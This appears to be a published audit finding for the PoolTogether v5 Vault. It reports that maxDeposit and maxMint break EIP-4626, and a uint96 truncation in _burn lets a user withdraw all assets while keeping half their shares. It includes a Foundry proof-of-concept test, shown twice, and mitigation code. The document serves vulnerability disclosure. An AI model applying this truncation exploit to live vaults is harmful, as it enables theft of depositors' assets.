PoolTogether - pontifex's results

Judge has assessed an item in Issue #264 as 3 risk. The relevant finding follows:

Let's see how it can be exploited. You can add this test to Withdraw.t.sol and run with forge test -vv --match-contract VaultWithdrawTest --match-test testWithdrawAllAssetsForHalfShares:

function testWithdrawAllAssetsForHalfShares() external { vm.startPrank(alice);

// Alice deposits type(uint96).max amount of assets
uint256 _amount =  uint256(type(uint96).max);
underlyingAsset.mint(alice, _amount);
_deposit(underlyingAsset, vault, _amount, alice);
console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950335

// Alice again deposits type(uint96).max amount of assets
underlyingAsset.mint(alice, _amount);
_deposit(underlyingAsset, vault, _amount, alice);
console2.log("shares", vault.balanceOf(alice)); // shares 158456325028528675187087900670

// Alice withdraws max possible amount of assets
vault.withdraw(vault.maxWithdraw(alice), alice, alice);
// Alice receives all assets
console2.log("assets", underlyingAsset.balanceOf(alice)); // assets 158456325028528675187087900670
// Alice still has a half of shares amount
console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950336

// Due to rounding we should extract `1` from balance
assertEq(vault.balanceOf(alice) - 1, type(uint96).max);
assertEq(underlyingAsset.balanceOf(alice), _amount * 2);

vm.stopPrank();

} Users can have balances more than type(uint96).max because of uint112 in the field balance of AccountDetails struct. But burning from their balances will be only for amounts less than type(uint96).max because of bits cut off during type conversion in the _burn.

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L407-L415 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L375-L377 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L440-L446 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L971-L974 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L383-L385

Vulnerability details

Impact

Other protocols that integrate with PoolTogether may wrongly assume that the functions are EIP-4626 compliant. Thus, it might cause integration problems in the future that can lead to a wide range of issues for both parties. This particular case can be a reason for users assets stealing.

Proof of Concept

All official EIP-4626 requirements can be found on its official page. Non-compliant functions are listed below along with the reason they are not compliant:

deposit and maxDeposit

deposit(uint256 _assets, address _receiver) MUST revert if all of assets cannot be deposited due to deposit limit being reached. The current check in the deposit function compare _assets with maxDeposit(_receiver)

408:    if (_assets > maxDeposit(_receiver))
409:      revert DepositMoreThanMax(_receiver, _assets, maxDeposit(_receiver));

The maxDeposit function returns type(uint96).max cause this is the type used to store balances in TwabController or 0. So the check in the deposit doesn't prevent depositing when the _receiver balance can exceed type(uint96).max after _assets adding, but MUST.

mint and maxMint

mint(uint256 _shares, address _receiver) MUST revert if all of shares cannot be minted due to deposit limit being reached. The current check in the _beforeMint function compare _shares with maxMint(_receiver)

972:    if (_shares > maxMint(_receiver)) revert MintMoreThanMax(_receiver, _shares, maxMint(_receiver));

The maxMint function returns type(uint96).max cause this is the type used to store balances in TwabController or 0. So the check in the _beforeMint doesn't prevent minting when the _receiver balance can exceed type(uint96).max after _shares adding, but MUST.

Let's see how it can be exploited. You can add this test to Withdraw.t.sol and run with forge test -vv --match-contract VaultWithdrawTest --match-test testWithdrawAllAssetsForHalfShares:

  function testWithdrawAllAssetsForHalfShares() external {
    vm.startPrank(alice);
    
    // Alice deposits type(uint96).max amount of assets
    uint256 _amount =  uint256(type(uint96).max);
    underlyingAsset.mint(alice, _amount);
    _deposit(underlyingAsset, vault, _amount, alice);
    console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950335

    // Alice again deposits type(uint96).max amount of assets
    underlyingAsset.mint(alice, _amount);
    _deposit(underlyingAsset, vault, _amount, alice);
    console2.log("shares", vault.balanceOf(alice)); // shares 158456325028528675187087900670

    // Alice withdraws max possible amount of assets
    vault.withdraw(vault.maxWithdraw(alice), alice, alice);
    // Alice receives all assets
    console2.log("assets", underlyingAsset.balanceOf(alice)); // assets 158456325028528675187087900670
    // Alice still has a half of shares amount
    console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950336
    
    // Due to rounding we should extract `1` from balance
    assertEq(vault.balanceOf(alice) - 1, type(uint96).max);
    assertEq(underlyingAsset.balanceOf(alice), _amount * 2);

    vm.stopPrank();
  }

Users can have balances more than type(uint96).max because of uint112 in the field balance of AccountDetails struct. But burning from their balances will be only for amounts less than type(uint96).max because of bits cut off during type conversion in the _burn.

Tools Used

Manual review

Recommended Mitigation Steps

All functions listed above should be modified to meet the specifications of EIP-4626. I suggest modifying functions maxDeposit and maxMint in this manner:

  function maxDeposit(address receiver) public view virtual override returns (uint256) {
    return _isVaultCollateralized() ? type(uint96).max - balanceOf(receiver) : 0;
  }
  function maxMint(address receiver) public view virtual override returns (uint256) {
    return _isVaultCollateralized() ? type(uint96).max - balanceOf(receiver) : 0;
  }

For better accuracy maxDeposit should be compared with _shares:

  function deposit(uint256 _assets, address _receiver) public virtual override returns (uint256) {
    uint256 _shares = _convertToShares(_assets, Math.Rounding.Down);
    
    if (_shares > maxDeposit(_receiver))
      revert DepositMoreThanMax(_receiver, _assets, maxDeposit(_receiver));
      
    _deposit(msg.sender, _receiver, _assets, _shares);

    return _shares;
  }

Assessed type

ERC4626